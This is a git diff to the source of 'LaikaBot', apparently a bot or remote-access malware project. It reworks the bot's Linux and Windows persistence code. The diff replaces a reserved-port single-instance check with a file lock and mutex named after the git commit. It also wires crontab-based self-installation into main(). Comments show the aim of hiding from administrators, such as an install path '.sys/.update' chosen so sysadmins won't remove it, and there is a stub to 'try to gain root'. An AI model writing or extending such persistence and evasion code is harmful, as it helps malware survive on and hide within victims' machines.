diff --git a/bot/include/persist.h b/bot/include/persist.h index de90c8e..4c5f247 100644 --- a/bot/include/persist.h +++ b/bot/include/persist.h @@ -3,10 +3,6 @@ #include "lconfig.h" -#ifndef LAIKA_PERSISTENCE -#define LAIKA_NOINSTALL -#endif - #include /* check if laika is running as super-user */ diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 8abc722..10d4dd1 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -1,24 +1,26 @@ /* platform specific code for achieving persistence on linux */ -/* this is only used to check if another instance of laika is currently running */ -#define LAIKA_RESERVED_PORT 32876 -#define LAIKA_TMP_FILE "/tmp/laikaTMP" +#include +#include +#include +#include +#include + +#include "persist.h" +#include "lconfig.h" +#include "lsocket.h" +#include "lerror.h" +#include "lmem.h" + +/* we want a semi-random file lock that is stable between similar builds, +* so we use the GIT_VERSION as our file lock :D */ +#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT /* most sysadmins probably wouldn't dare remove something named '.sys/.update' */ #define LAIKA_INSTALL_DIR_USER ".sys" #define LAIKA_INSTALL_FILE_USER ".update" -#include "persist.h" -#include "lsocket.h" -#include "lerror.h" -#include "lmem.h" - -#include -#include -#include -#include - -static struct sLaika_socket laikaB_markerPort; +static int laikaB_lockFile; /* check if laika is running as super-user */ bool laikaB_checkRoot() { @@ -27,22 +29,25 @@ bool laikaB_checkRoot() { /* mark that laika is currently running */ void laikaB_markRunning() { -#ifndef DEBUG - LAIKA_TRY - laikaS_initSocket(&laikaB_markerPort, NULL, NULL, NULL, NULL); - laikaS_bind(&laikaB_markerPort, LAIKA_RESERVED_PORT); - LAIKA_CATCH - LAIKA_DEBUG("Failed to bind marker port, laika is already running!\n"); - exit(0); - LAIKA_TRYEND -#endif + /* create lock file */ + if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1) + LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n"); + + /* create lock */ + if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0) + LAIKA_ERROR("Failed to create file lock!\n"); + + LAIKA_DEBUG("file lock created!\n"); } /* unmark that laika is currently running */ void laikaB_unmarkRunning() { -#ifndef DEBUG - laikaS_kill(&laikaB_markerPort); -#endif + /* close lock */ + if (flock(laikaB_lockFile, LOCK_UN) != 0) + LAIKA_ERROR("Failed to close file lock!\n"); + + close(laikaB_lockFile); + LAIKA_DEBUG("file lock removed!\n"); } void getCurrentExe(char *outPath, int pathSz) { @@ -109,7 +114,6 @@ void tryPersistCron(char *path) { /* try to gain persistance on machine */ void laikaB_tryPersist() { -#ifndef LAIKA_NOINSTALL char exePath[PATH_MAX]; char installPath[PATH_MAX]; @@ -130,7 +134,6 @@ void laikaB_tryPersist() { LAIKA_CATCH LAIKA_DEBUG("crontab not installed or not accessible!"); LAIKA_TRYEND -#endif } /* try to gain root */ diff --git a/bot/src/main.c b/bot/src/main.c index d8df9e1..3154827 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -10,10 +10,11 @@ int main(int argv, char *argc[]) { struct sLaika_bot *bot; +#ifdef LAIKA_PERSISTENCE + laikaB_markRunning(); + /* install persistence */ laikaB_tryPersist(); - -#ifdef LAIKA_PERSISTENCE do { #endif bot = laikaB_newBot(); @@ -33,6 +34,8 @@ int main(int argv, char *argc[]) { #ifdef LAIKA_PERSISTENCE sleep(5); } while (1); + + laikaB_unmarkRunning(); #endif return 0; diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index a3ae884..3c228ce 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -1,6 +1,12 @@ /* platform specific code for achieving persistence on windows */ +#include #include "persist.h" +#include "lconfig.h" + +/* we want a semi-random mutex that is stable between similar builds, +* so we use the GIT_VERSION as our mutex :D */ +#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0" /* check if laika is running as super-user */ bool laikaB_checkRoot() {